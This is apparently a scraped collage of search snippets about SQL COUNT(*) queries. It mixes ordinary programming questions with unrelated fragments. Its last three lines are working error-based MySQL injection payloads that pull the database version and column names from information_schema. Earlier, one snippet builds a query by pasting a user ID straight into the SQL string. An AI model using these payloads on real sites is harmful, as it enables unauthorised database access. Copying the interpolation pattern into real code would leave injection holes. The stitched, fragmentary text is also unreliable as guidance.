I was asked to try to simplify a count() query but I do not know where to begin, the query is something like this: … I was told that the SELECT COUNT(1) FROM (subquery) can be simplified...
How can I select count(*) from two different tables (call them tab1 and tab2) having as result: Count_1 Count_2 123 456.
string sql = "SELECT COUNT(*) FROM " + tableName; var rtn = DapperConnection.Query<int>(sql); This works and bring back 1 record in the rtn
Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?
I am trying to get row count from the following query. I get only row count as 1 but there are 35 records. Could you please let me know how to get the count from inner query? Thank you …
(SELECT COUNT(*) FROM transactions tr INNER JOIN payments pa ON tr.asset = CONCAT('p_', pa.id) WHERE pa.user_id = '{$user_id}').
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
爆表 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
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